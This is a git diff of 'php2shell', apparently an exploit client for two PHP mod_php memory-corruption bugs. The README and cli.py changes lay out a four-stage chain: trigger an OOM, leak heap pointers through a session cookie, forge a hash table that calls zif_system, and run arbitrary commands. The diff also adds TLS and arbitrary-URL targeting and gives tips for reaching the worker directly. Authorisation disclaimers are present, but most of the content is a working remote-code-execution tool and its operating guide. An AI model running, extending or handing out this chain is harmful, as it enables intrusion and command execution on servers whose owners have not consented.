Compare commits
5
Commits
e8f00033aa
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
46d36a76d8 | ||
|
|
d1a6f0ab32 | ||
|
|
a0b4a6cb95 | ||
|
|
2b8b63e5ae | ||
|
|
663481efe2 |
@@ -224,7 +224,7 @@ The same code worked from git-bash purely because git-bash's `PATH` put its own
|
||||
|
||||
Rule: the CLI must not depend on a shell existing or on which one wins. `poc/lab.py` calls the
|
||||
Docker CLI directly with an argument vector (no shell string, no `bash`), so the identical
|
||||
`python -m poc lab` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are
|
||||
`python -m poc exploit` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are
|
||||
easy to get wrong:
|
||||
|
||||
- **Volume paths are OS-specific.** Windows needs `C:/Users/...` (forward slashes, drive letter);
|
||||
@@ -279,3 +279,25 @@ can need one retry.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 14. TLS works at the transport layer, but a reverse proxy breaks stage 2
|
||||
|
||||
The wire layer originally refused `https://`. It now wraps the socket with `ssl` (`--tls`, implied
|
||||
by an `https://` url) and verifies certificates by default (`--insecure` for self-signed labs).
|
||||
Measured against an `nginx:alpine` TLS terminator in front of the same lab container
|
||||
(`proxy_http_version 1.1`, `proxy_request_buffering off`, `proxy_buffering off`,
|
||||
`Connection close`):
|
||||
|
||||
| Path | A1 | B1 |
|
||||
|---|---|---|
|
||||
| direct `http://127.0.0.1:18110` | 500 (real OOM) | 200 + 819208-byte decoded cookie → chain completes, `uid=33(www-data)` |
|
||||
| through nginx over `https://` | 500 (real OOM) | Apache logs a 200 with a truncated body, then `zend_mm_heap corrupted` → child `exit signal Abort (6)`; the proxy returns `502` |
|
||||
|
||||
So TLS itself is fine, and the OOM producer reaches the target over TLS. The failure is the
|
||||
second stage's *response*: the worker aborts during that request's shutdown, and a proxy cannot
|
||||
forward a response whose upstream died mid-body. A direct client reads what was already flushed
|
||||
and carries on. Practical rule: aim the chain at mod_php's own listener, not at a terminator, a
|
||||
CDN, or a load balancer. Both `Connection` modes (`""` and `close`) and buffering off were tried;
|
||||
neither changed the outcome.
|
||||
|
||||
|
||||
@@ -5,8 +5,6 @@ using only HTTP multipart requests, with no application code required and no `se
|
||||
in the target page.
|
||||
|
||||
```
|
||||
$ ./lab/up.sh
|
||||
target: OK
|
||||
$ python -m poc exploit
|
||||
php2shell poc 0.1.0 | ZSecurity | Linuxhackingid
|
||||
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
|
||||
@@ -23,10 +21,11 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
|
||||
## Scope and authorisation
|
||||
|
||||
Local Docker lab only. Every connection goes to a container started by `lab/up.sh` on
|
||||
`127.0.0.1`. This is a reproduction harness plus a staged verification of two published PHP
|
||||
core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not
|
||||
own or have written authorisation to test.
|
||||
**This repository ships the exploit client only.** It contains no web application, no Docker
|
||||
compose file and no lab harness: you point it at a vulnerable mod_php target you started
|
||||
yourself (see [Target](#target-not-shipped)). It is a reproduction and verification tool for two
|
||||
published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host
|
||||
you do not own or have written authorisation to test.
|
||||
|
||||
## The vulnerabilities
|
||||
|
||||
@@ -76,7 +75,7 @@ not a citation:
|
||||
```bash
|
||||
git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git
|
||||
cd php2shell-cve-2026-109618-109619
|
||||
python -m unittest discover -s tests -t . # 63 pass, 4 skip (need the target binary)
|
||||
python -m unittest discover -s tests -t . # 56 pass, 4 skip (need the target binary)
|
||||
```
|
||||
|
||||
Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a
|
||||
@@ -95,60 +94,102 @@ fresh clone — see [research/README.md](research/README.md) to enable them.
|
||||
| OS | Status | How it was checked |
|
||||
|---|---|---|
|
||||
| Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` |
|
||||
| Linux x86_64 | works | Python 3.9 and 3.13 containers: 67/67 unit tests, plus the full chain executed from a Linux client against the lab over a Docker network (`uid=33(www-data)`) |
|
||||
| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest`, and the code has no Windows-only branches except the separator normalisation in `poc/lab.py` |
|
||||
| Linux x86_64 | works | Python 3.9 and 3.13 containers: full unit suite, plus the full chain executed from a Linux client against the target over a Docker network (`uid=33(www-data)`) |
|
||||
| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest` |
|
||||
|
||||
Verified interpreter versions: 3.9.25, 3.13, 3.14.7.
|
||||
|
||||
## Quickstart
|
||||
|
||||
Windows (PowerShell) and Linux/macOS are the same commands:
|
||||
You need a running vulnerable target first (next section). Then, from any directory:
|
||||
|
||||
```powershell
|
||||
python -m poc lab # bring the target up, check it, run the chain
|
||||
cat out\p1 # uid=33(www-data)
|
||||
```bash
|
||||
python -m poc check --url http://127.0.0.1:18110 # version, ini, libphp hash, profile
|
||||
python -m poc exploit --url http://127.0.0.1:18110 # A1 -> B1 -> A2 -> B2 -> proof
|
||||
```
|
||||
|
||||
Sample output:
|
||||
|
||||
```
|
||||
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
|
||||
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
|
||||
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
|
||||
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
|
||||
RCE OK; proof C:\Users\you\AppData\Local\php2shell\out\p1:
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
The proof file is written by the target into its `/out` mount. This client looks for it in a
|
||||
fixed per-user directory — `%LOCALAPPDATA%\php2shell\out` on Windows,
|
||||
`${XDG_DATA_HOME:-~/.local/share}/php2shell/out` on Linux/macOS — so **the folder you run `poc`
|
||||
from does not matter**. Point the target's `/out` at that directory, or pass `--proof PATH`.
|
||||
|
||||
`poc exploit` refuses to run when nothing is listening and tells you so. Nothing is chained
|
||||
implicitly: `check` only reads configuration, `leak` stops after the disclosure, `exploit` sends
|
||||
the whole chain.
|
||||
|
||||
## Target (not shipped)
|
||||
|
||||
Requirements, all confirmed against `php:8.4.26-apache`:
|
||||
|
||||
- Apache **mod_php** (not FPM — the confirmed path depends on mod_php's shutdown running after a
|
||||
failed startup)
|
||||
- `php.ini-production`: `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`,
|
||||
`output_buffering=0`, `session.upload_progress.enabled=On`
|
||||
- **one prefork child** for deterministic results (`MaxRequestWorkers 1`); with more workers the
|
||||
four requests must otherwise land on the same child
|
||||
- a writable `/out` mount which matches the client's proof directory
|
||||
|
||||
Minimal target, two files plus a container. `index.php`:
|
||||
|
||||
```php
|
||||
<?php echo "OK\n";
|
||||
```
|
||||
|
||||
`apache-single-worker.conf`:
|
||||
|
||||
```apache
|
||||
KeepAlive Off
|
||||
|
||||
<IfModule mpm_prefork_module>
|
||||
StartServers 1
|
||||
MinSpareServers 1
|
||||
MaxSpareServers 1
|
||||
MaxRequestWorkers 1
|
||||
ServerLimit 1
|
||||
MaxConnectionsPerChild 0
|
||||
</IfModule>
|
||||
```
|
||||
|
||||
```bash
|
||||
python -m poc lab
|
||||
cat out/p1
|
||||
OUT="${XDG_DATA_HOME:-$HOME/.local/share}/php2shell/out"; mkdir -p "$OUT"
|
||||
docker run -d --name p2s-lab -p 127.0.0.1:18110:80 \
|
||||
-v "$PWD/index.php:/var/www/html/index.php:ro" \
|
||||
-v "$PWD/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \
|
||||
-v "$OUT:/out" \
|
||||
php:8.4.26-apache /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini;
|
||||
chown -R www-data:www-data /out 2>/dev/null || true; exec apache2-foreground'
|
||||
```
|
||||
|
||||
Step by step, if you want to see each stage:
|
||||
|
||||
```bash
|
||||
./lab/up.sh # or: python -m poc lab up
|
||||
python -m poc check # version, ini, libphp hash, profile, worker count
|
||||
python -m poc leak # A1 + B1 only: the disclosure
|
||||
python -m poc exploit # A1 -> B1 -> A2 -> B2 -> proof file
|
||||
python -m poc status # or: python -m poc lab status
|
||||
./lab/down.sh # or: python -m poc lab down
|
||||
```
|
||||
|
||||
The lab and the exploit are deliberately separate commands: `poc lab` only manages the
|
||||
container, `poc check` only reads the target's configuration, and `poc exploit` only sends the
|
||||
chain. Nothing is chained implicitly, so you can point `poc exploit` at a target someone else
|
||||
started. `poc exploit` refuses to run when nothing is listening and tells you to start a lab.
|
||||
On Windows/PowerShell use forward-slash paths (`C:/Users/you/...`) and
|
||||
`$env:LOCALAPPDATA + "/php2shell/out"` for `OUT`. The asset files are deliberately not part of
|
||||
this repository — the exploit client is the deliverable, the target is your lab.
|
||||
|
||||
## CLI
|
||||
|
||||
| Command | Purpose |
|
||||
|---|---|
|
||||
| `poc lab [up\|down\|status]` | container lifecycle only — no exploitation. `up` (default) recreates the target and waits until it answers; `down` removes it; `status` dumps diagnostics. `--image`, `--name`, `--port`, `--net` override the target |
|
||||
| `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. |
|
||||
| `poc status` | container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count |
|
||||
| `poc status` | diagnostics for a **local** container via `docker exec`: php/apache version, the nine ini values, libphp sha256, worker count |
|
||||
| `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` |
|
||||
| `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) |
|
||||
| `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code |
|
||||
| `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` |
|
||||
| `poc selftest` | offline: build all four bodies, check sizes and layout invariants |
|
||||
|
||||
All commands accept `--host --port --name --profile --workers --json`. `--workers N` occupies
|
||||
`N-1` prefork children so the four chain requests land on the same worker.
|
||||
|
||||
`IMAGE`, `NAME`, `PORT`, and `NET` environment variables are honoured by `poc lab` (so the shell
|
||||
wrappers keep the old `IMAGE=… NAME=… ./lab/up.sh` idiom working), and the equivalent flags
|
||||
(`--image --name --port --net`) are the portable form.
|
||||
All commands accept `--host --port --url --path --tls --insecure --profile --workers --json`.
|
||||
`--workers N` occupies `N-1` prefork children so the four chain requests land on the same worker.
|
||||
`--name` (default `p2s-lab`) selects the container for `check` and `status`.
|
||||
|
||||
## Targeting a URL or a remote host
|
||||
|
||||
@@ -160,9 +201,23 @@ python -m poc exploit --url http://10.0.0.5:8080/app/index.php
|
||||
python -m poc leak --url http://lab.internal --save leak.resp
|
||||
```
|
||||
|
||||
`--url` fills in host, port (default 80) and the request path (default `/index.php`); `--host`,
|
||||
`--port` and `--path` override it. **`http://` only** — the wire layer speaks raw HTTP on a
|
||||
socket, so TLS is refused rather than silently downgraded.
|
||||
`--url` fills in host, port (80 for `http://`, 443 for `https://`) and the request path (default
|
||||
`/index.php`); `--host`, `--port`, `--tls` and `--path` override it. TLS is real TLS: certificate
|
||||
verification is **on by default**, so a lab with a self-signed certificate needs `--insecure`:
|
||||
|
||||
```bash
|
||||
python -m poc exploit --url https://127.0.0.1:18443/index.php --insecure
|
||||
python -m poc exploit --host 10.0.0.5 --port 8443 --tls --insecure
|
||||
```
|
||||
|
||||
What is verified over TLS: the transport layer (handshake, certificate rejection by default,
|
||||
chunked framing through a `ssl` socket) and stage A1 against a TLS-terminated target — it returns
|
||||
the real `500` OOM. What is **not** reliable: stages B1 onward when a reverse proxy sits in front
|
||||
of mod_php, because the worker aborts during that request's shutdown and the proxy turns the
|
||||
truncated upstream response into `502 Bad Gateway` (measured: direct `http://` to the same
|
||||
container gives full RCE; the same container behind nginx TLS gives `502` at B1). Point the chain
|
||||
at mod_php directly rather than through a TLS terminator, a CDN, or a load balancer.
|
||||
|
||||
|
||||
Only point this at a host you own or have written authorisation to test. There is no scanning,
|
||||
no target list, no threading: one URL, one chain, and the proof lands in the mounted `out/`
|
||||
@@ -220,6 +275,14 @@ retries**, with a counter file in `/out` incrementing 1→5 — so the worker su
|
||||
cycles; what does not exist is a shared session. Anything that must survive between commands has
|
||||
to be written to disk (`/out`) rather than held in memory.
|
||||
|
||||
Stage 3 can miss intermittently: A2's cheap OOM leaves the stale pointer at a slightly different
|
||||
spot, B2 then completes normally (`200`, worker alive) instead of firing the destructor, and no
|
||||
output appears. `poc exploit` prints
|
||||
`no command output; B2 status=... - stage-3 placement missed` and retries the whole chain; keep
|
||||
`--retries` at 3 or higher. Three consecutive cold starts (fresh container each) all succeeded on
|
||||
attempt 1, so the miss is occasional rather than systematic.
|
||||
|
||||
|
||||
For commands longer than the 200-byte carrier limit, write a script into `out/` and run
|
||||
`python -m poc exec --cmd 'sh</out/c'`.
|
||||
|
||||
@@ -238,7 +301,7 @@ Every row below is a command that was actually run in this environment, with its
|
||||
|---|---|---|
|
||||
| Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker |
|
||||
| Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile |
|
||||
| Offline suite | `python -m unittest discover -s tests -t .` | 67 tests, all pass, 0 skipped |
|
||||
| Offline suite | `python -m unittest discover -s tests -t .` | 60 tests, all pass, 0 skipped |
|
||||
| Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) |
|
||||
| Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 |
|
||||
| Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 |
|
||||
@@ -246,8 +309,8 @@ Every row below is a command that was actually run in this environment, with its
|
||||
| Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 |
|
||||
| Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both |
|
||||
| Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` |
|
||||
| Windows shell independence | `python -m poc lab up` + `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
|
||||
| Specificity | `poc lab up --image php:8.4.27-apache` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
|
||||
| Windows shell independence | `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to WSL | exit 0, proof written - the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
|
||||
| Specificity | same target recipe on `php:8.4.27-apache`, then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
|
||||
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
|
||||
|
||||
The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not
|
||||
@@ -295,12 +358,13 @@ target's `libphp.so` SHA-256.
|
||||
## Repository layout
|
||||
|
||||
```
|
||||
lab/ docker target (rootfs files + thin shims that call the Python entry points)
|
||||
poc/ profiles · elf · wire · bodies · forge · leak · lab · cli
|
||||
tests/ 32 unit tests; golden body hashes live in tests/golden/bodies.json
|
||||
research/ reference clone (gitignored), captures, and the diagnostics used to calibrate
|
||||
poc/ profiles · outdir · elf · wire · bodies · forge · leak · cli
|
||||
tests/ 60 unit tests; golden body hashes live in tests/golden/bodies.json
|
||||
research/ provenance of the golden hashes (reference clone is gitignored)
|
||||
```
|
||||
|
||||
There is no `lab/`, no compose file and no target webroot here: the client is the artifact.
|
||||
|
||||
`research/upstream/` is a read-only clone of the public reference chain, used once as a control
|
||||
test and to generate the golden body hashes. Nothing in `poc/` imports it.
|
||||
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
KeepAlive Off
|
||||
|
||||
<IfModule mpm_prefork_module>
|
||||
StartServers 1
|
||||
MinSpareServers 1
|
||||
MaxSpareServers 1
|
||||
MaxRequestWorkers 1
|
||||
ServerLimit 1
|
||||
MaxConnectionsPerChild 0
|
||||
</IfModule>
|
||||
@@ -1,9 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -eu
|
||||
HERE=$(cd "$(dirname "$0")" && pwd)
|
||||
cd "$HERE/.."
|
||||
PY=${PYTHON:-}
|
||||
if [ -z "$PY" ]; then
|
||||
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
|
||||
fi
|
||||
exec "$PY" -m poc lab down "$@"
|
||||
@@ -1 +0,0 @@
|
||||
<?php echo "OK\n";
|
||||
@@ -1,9 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -eu
|
||||
HERE=$(cd "$(dirname "$0")" && pwd)
|
||||
cd "$HERE/.."
|
||||
PY=${PYTHON:-}
|
||||
if [ -z "$PY" ]; then
|
||||
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
|
||||
fi
|
||||
exec "$PY" -m poc lab status "$@"
|
||||
@@ -1,9 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -eu
|
||||
HERE=$(cd "$(dirname "$0")" && pwd)
|
||||
cd "$HERE/.."
|
||||
PY=${PYTHON:-}
|
||||
if [ -z "$PY" ]; then
|
||||
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
|
||||
fi
|
||||
exec "$PY" -m poc lab up "$@"
|
||||
+90
-61
@@ -4,12 +4,13 @@ import hashlib
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import ssl
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
|
||||
from poc import bodies, elf, forge, lab, leak, profiles, wire
|
||||
from poc import bodies, elf, forge, leak, outdir, profiles, wire
|
||||
|
||||
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
|
||||
@@ -55,6 +56,9 @@ def version_state(ver):
|
||||
|
||||
def cmd_check(args):
|
||||
name = args.name
|
||||
reach = ""
|
||||
if getattr(args, "url", ""):
|
||||
reach = "yes" if require_target(args.host, args.port, args.tls, args.insecure) else "no"
|
||||
vtext = dkr(["exec", name, "php", "-v"])
|
||||
ver = parse_version(vtext)
|
||||
info = dkr(["exec", name, "php", "-i"])
|
||||
@@ -79,10 +83,13 @@ def cmd_check(args):
|
||||
rows.append(("libphp_sha256", sha or "?", ""))
|
||||
rows.append(("profile", prof_name or "NO PROFILE MATCH", ""))
|
||||
rows.append(("workers", workers, ""))
|
||||
if reach:
|
||||
rows.append(("reachable", reach, ""))
|
||||
|
||||
ok = state == "vulnerable" and prof is not None
|
||||
if args.json:
|
||||
print(json.dumps({"vulnerable": ok, "version": ver and "%d.%d.%d" % ver,
|
||||
print(json.dumps({"vulnerable": ok, "reachable": reach or None,
|
||||
"version": ver and "%d.%d.%d" % ver,
|
||||
"state": state, "libphp_sha256": sha,
|
||||
"profile": prof_name, "ini": ini, "workers": workers}, indent=2))
|
||||
else:
|
||||
@@ -95,16 +102,17 @@ def cmd_check(args):
|
||||
def run_leak(args, prof, save=""):
|
||||
host, port = args.host, args.port
|
||||
path, warm_path = target_paths(args, prof)
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=path)
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=path,
|
||||
tls=args.tls, insecure=args.insecure)
|
||||
try:
|
||||
wire.warm(host, port, path)
|
||||
wire.warm(host, port, path, tls=args.tls, insecure=args.insecure)
|
||||
a1 = bodies.build_a1(prof["a1"])
|
||||
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
a1_status = wire.status(r1)
|
||||
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
|
||||
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
if save:
|
||||
with open(save, "wb") as fh:
|
||||
fh.write(r2)
|
||||
@@ -122,7 +130,7 @@ def run_leak(args, prof, save=""):
|
||||
|
||||
|
||||
def cmd_leak(args):
|
||||
if not require_target(args.host, args.port):
|
||||
if not require_target(args.host, args.port, args.tls, args.insecure):
|
||||
return 1
|
||||
prof = profile_or_die(args)
|
||||
info = run_leak(args, prof, args.save)
|
||||
@@ -158,19 +166,20 @@ def exploit_once(args, prof):
|
||||
os.remove(proof_path)
|
||||
|
||||
path, warm_path = target_paths(args, prof)
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=path)
|
||||
held = wire.hold_workers(host, port, args.workers - 1, path=path,
|
||||
tls=args.tls, insecure=args.insecure)
|
||||
try:
|
||||
wire.warm(host, port, path)
|
||||
wire.warm(host, port, path, tls=args.tls, insecure=args.insecure)
|
||||
|
||||
a1 = bodies.build_a1(prof["a1"])
|
||||
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
print("[1/4] A1 oom status=%s" % wire.status(r1))
|
||||
time.sleep(0.2)
|
||||
|
||||
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
|
||||
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
raw = wire.cookie(r2, b"PHPSESSID")
|
||||
if raw is None:
|
||||
raise leak.LeakError("no Set-Cookie PHPSESSID (status=%s, bytes=%d)" %
|
||||
@@ -184,14 +193,14 @@ def exploit_once(args, prof):
|
||||
zif = info["lib"] + prof["zif_offset"]
|
||||
a2 = bodies.build_a2(prof["a2"])
|
||||
r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
print("[3/4] A2 oom status=%s" % wire.status(r3))
|
||||
time.sleep(0.2)
|
||||
|
||||
ht = forge.build_ht(s_addr, zif, args.cmd.encode())
|
||||
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
|
||||
r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)),
|
||||
timeout=args.timeout)
|
||||
timeout=args.timeout, tls=args.tls, insecure=args.insecure)
|
||||
print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" %
|
||||
(s_addr, zif, wire.status(r4)))
|
||||
|
||||
@@ -207,6 +216,15 @@ def exploit_once(args, prof):
|
||||
print(proof)
|
||||
return 0, proof
|
||||
time.sleep(0.2)
|
||||
if not wire.status(r4):
|
||||
print(" B2 got no response (worker aborted during shutdown) but %s never appeared"
|
||||
% proof_path)
|
||||
print(" the target's /out is not the client's proof directory; mount it at %s"
|
||||
% os.path.dirname(proof_path))
|
||||
print(" or pass --proof with the path the target actually writes")
|
||||
else:
|
||||
print(" no command output; B2 status=%r - stage-3 placement missed"
|
||||
% wire.status(r4))
|
||||
return 1, ""
|
||||
finally:
|
||||
wire.release(held)
|
||||
@@ -214,7 +232,8 @@ def exploit_once(args, prof):
|
||||
|
||||
def cmd_exploit(args):
|
||||
prof = profile_or_die(args)
|
||||
if not args.dry_run and not require_target(args.host, args.port):
|
||||
if not args.dry_run and not require_target(args.host, args.port,
|
||||
args.tls, args.insecure):
|
||||
return 1
|
||||
if args.dry_run:
|
||||
s_addr = 0x7D2700000000 + prof["s_delta"]
|
||||
@@ -258,19 +277,24 @@ def cmd_exploit(args):
|
||||
|
||||
def resolve_target(args):
|
||||
url = getattr(args, "url", "")
|
||||
if not hasattr(args, "tls"):
|
||||
args.tls = False
|
||||
if url:
|
||||
parts = urllib.parse.urlsplit(url)
|
||||
if parts.scheme and parts.scheme != "http":
|
||||
print("only http:// is supported: the wire layer speaks raw HTTP, TLS is out of scope",
|
||||
if parts.scheme in ("https", "wss"):
|
||||
args.tls = True
|
||||
elif parts.scheme not in ("", "http", "ws"):
|
||||
print("unsupported scheme %r: use http:// or https://" % parts.scheme,
|
||||
file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
if not parts.hostname:
|
||||
print("--url carries no host", file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
default_port = 443 if args.tls else 80
|
||||
if args.host is None:
|
||||
args.host = parts.hostname
|
||||
if args.port is None:
|
||||
args.port = parts.port or 80
|
||||
args.port = parts.port or default_port
|
||||
if not args.path:
|
||||
args.path = parts.path or "/index.php"
|
||||
if args.host is None:
|
||||
@@ -289,47 +313,42 @@ def target_paths(args, prof):
|
||||
return path, (path + "?" + query if query else path)
|
||||
|
||||
|
||||
def require_target(host, port):
|
||||
def require_target(host, port, tls=False, insecure=False):
|
||||
scheme = "https" if tls else "http"
|
||||
try:
|
||||
sock = socket.create_connection((host, port), timeout=3)
|
||||
sock = wire.connect(host, port, 3, tls, insecure)
|
||||
sock.close()
|
||||
return True
|
||||
except ssl.SSLError as exc:
|
||||
print("TLS failed for %s://%s:%d: %s" % (scheme, host, port, exc), file=sys.stderr)
|
||||
if not insecure:
|
||||
print("self-signed certificate? retry with --insecure", file=sys.stderr)
|
||||
return False
|
||||
except OSError:
|
||||
print("cannot connect to %s:%d — no target listening" % (host, port), file=sys.stderr)
|
||||
print("start one first: python -m poc lab up", file=sys.stderr)
|
||||
print("cannot connect to %s://%s:%d - no target listening" % (scheme, host, port),
|
||||
file=sys.stderr)
|
||||
print("start a target first - see README: Target (not shipped)", file=sys.stderr)
|
||||
return False
|
||||
|
||||
|
||||
def cmd_lab(args):
|
||||
action = args.action
|
||||
name = args.name or os.environ.get("NAME") or "p2s-lab"
|
||||
port = args.port or int(os.environ.get("PORT") or 18110)
|
||||
image = args.image or os.environ.get("IMAGE") or "php:8.4.26-apache"
|
||||
net = args.net or os.environ.get("NET") or ""
|
||||
args.name = name
|
||||
args.port = port
|
||||
if action == "status":
|
||||
return cmd_status(args)
|
||||
try:
|
||||
if action == "down":
|
||||
lab.down(name)
|
||||
print("down %s" % name)
|
||||
return 0
|
||||
body = lab.up(ROOT, image, name, port, net, args.host)
|
||||
except lab.LabError as exc:
|
||||
print(str(exc), file=sys.stderr)
|
||||
return 1
|
||||
print("target: %s" % body)
|
||||
print("next: python -m poc check --name %s --port %d" % (name, port))
|
||||
print(" python -m poc exploit --port %d" % port)
|
||||
return 0
|
||||
|
||||
|
||||
def cmd_status(args):
|
||||
try:
|
||||
rows = lab.status(args.name, args.lib_path)
|
||||
except lab.LabError as exc:
|
||||
print(str(exc), file=sys.stderr)
|
||||
name = args.name
|
||||
rows = []
|
||||
ver = dkr(["exec", name, "php", "-v"]).splitlines()
|
||||
rows.append(("php", ver[0] if ver else "?"))
|
||||
for line in dkr(["exec", name, "php", "-i"]).splitlines():
|
||||
key, _, val = line.partition("=>")
|
||||
key = key.strip()
|
||||
if key in INVL:
|
||||
rows.append((key, val.split("=>")[0].strip()))
|
||||
sha = dkr(["exec", name, "sha256sum", args.lib_path]).split()
|
||||
rows.append(("libphp_sha256", sha[0] if sha else "?"))
|
||||
apache = dkr(["exec", name, "apache2", "-v"]).splitlines()
|
||||
rows.append(("apache", apache[0] if apache else "?"))
|
||||
rows.append(("workers", dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip()))
|
||||
if not any(v.strip() for k, v in rows if k != "workers"):
|
||||
print("cannot inspect container %r (is it running? is docker available?)" % name,
|
||||
file=sys.stderr)
|
||||
return 1
|
||||
if args.json:
|
||||
print(json.dumps(dict(rows), indent=2))
|
||||
@@ -352,7 +371,7 @@ def exec_fits(command, remote=EXEC_REMOTE):
|
||||
|
||||
|
||||
def cmd_exec(args):
|
||||
if not require_target(args.host, args.port):
|
||||
if not require_target(args.host, args.port, args.tls, args.insecure):
|
||||
return 1
|
||||
prof = profile_or_die(args)
|
||||
if not exec_fits(args.cmd):
|
||||
@@ -361,11 +380,12 @@ def cmd_exec(args):
|
||||
% (wrapped_len, CARRIER_LIMIT), file=sys.stderr)
|
||||
print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr)
|
||||
return 2
|
||||
local = os.path.join(ROOT, "out", ".poc-exec")
|
||||
local = os.path.join(outdir.default_outdir(), ".poc-exec")
|
||||
ns = copy.copy(args)
|
||||
ns.cmd = exec_wrapper(args.cmd)
|
||||
ns.proof = local
|
||||
ns.quiet = True
|
||||
outdir.ensure()
|
||||
